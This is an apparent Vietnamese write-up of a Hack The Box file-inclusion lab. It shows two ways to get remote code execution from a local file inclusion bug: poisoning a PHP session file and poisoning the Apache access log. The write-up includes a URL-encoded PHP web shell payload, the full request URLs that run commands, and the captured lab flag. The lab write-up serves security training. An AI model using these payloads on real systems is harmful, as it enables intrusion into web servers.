1. Use any of the techniques covered in this section to gain RCE, then submit the output of the following command: pwd

Cách 1 : **PHP Session Poisoning**

Kiểm tra php session trên trình duyệt

A screenshot of a computer

Description automatically generated

Ta tìm được PHPSESSID = iurk3s7rjjsjo2bvst7rqvqvtn

Giá trị cookie PHPSESSID được lưu trữ tại /var/lib/php/sessions/sess\_ iurk3s7rjjsjo2bvst7rqvqvtn

 Đưa tệp phiên này qua lỗ hổng LFI và xem nội dung của nó

/var/lib/php/sessions/sess\_iurk3s7rjjsjo2bvst7rqvqvtn

```bash

/index.php?language=/var/lib/php/sessions/sess\_iurk3s7rjjsjo2bvst7rqvqvtn

```

A screenshot of a computer

Description automatically generated

Tệp phiên chứa hai giá trị: selected\_language(hiển thị trang ngôn ngữ đã chọn )và preference(hiển thị ngôn ngữ đã chọn)

Giá trị  preference không nằm trong tầm kiểm soát của chúng tôi vì chúng tôi không chỉ định nó ở bất kỳ đâu và phải được chỉ định tự động.

Giá trị nằm selected\_language trong tầm kiểm soát của chúng tôi vì chúng tôi có thể kiểm soát nó thông qua tham số ?language=

Thực hiện poisoningbước này bằng cách viết mã PHP vào tệp phiên. Chúng ta có thể viết một web shell PHP cơ bản bằng cách thay đổi tham số ?language= thành một web shell được mã hóa URL

Ta mã hóa url payload shell

A screenshot of a computer

Description automatically generated

```bash

%3C%3Fphp%20system%28%24\_GET%5B%22cmd%22%5D%29%3B%20%3F%3E

```

```bash

/index.php?language=%3C%3Fphp%20system%28%24\_GET%5B%22cmd%22%5D%29%3B%20%3F%3E

```

A screenshot of a computer

Description automatically generated

```bash

/index.php?language=/var/lib/php/sessions/sess\_iurk3s7rjjsjo2bvst7rqvqvtn&cmd=pwd

```

A screenshot of a computer

Description automatically generated

**P/s:/var/www/html**

Cách 2 : **Server Log Poisoning**

**Kiểm tra máy chủ đích là loại gì**

A screenshot of a computer

Description automatically generated

Máy chủ apache /2.4.41 (Ubuntu)

Ta đọc log của máy chủ apache bằng lỗ hổng LFI

```bash

/index.php?language=/var/log/apache2/access.log

```

A screenshot of a computer

Description automatically generated

Chèn payload vào useragent rồi gửi đi

```bash

<?php system($\_GET['cmd']); ?>

```

A screenshot of a computer

Description automatically generated

Include file log và thực thi shell đã được truyền qua /var/log/apache2/apache.log

A screenshot of a computer

Description automatically generated

```bash

index.php?language=/var/log/apache2/access.log&cmd=pwd

```

1. Try to use a different technique to gain RCE and read the flag at /

```bash

/index.php?language=%3C%3Fphp%20system%28%24\_GET%5B%22cmd%22%5D%29%3B%20%3F%3E

/index.php?language=/var/lib/php/sessions/sess\_iurk3s7rjjsjo2bvst7rqvqvtn&cmd=ls+-l+/

```

A computer screen shot of a program

Description automatically generated

```bash

/index.php?language=%3C%3Fphp%20system%28%24\_GET%5B%22cmd%22%5D%29%3B%20%3F%3E

/index.php?language=/var/lib/php/sessions/sess\_iurk3s7rjjsjo2bvst7rqvqvtn&cmd= cat+/c85ee5082f4c723ace6c0796e3a3db09.txt

```

A screenshot of a computer

Description automatically generated

Cach 2 Dau doc log

```bash

/index.php?language=/var/log/apache2/access.log&cmd=ls+-l+/

```

A screenshot of a computer

Description automatically generated

```bash

/index.php?language=/var/log/apache2/access.log&cmd=cat+/c85ee5082f4c723ace6c0796e3a3db09.txt

```

A screenshot of a computer

Description automatically generated

P/s: HTB{1095\_5#0u1d\_n3v3r\_63\_3xp053d}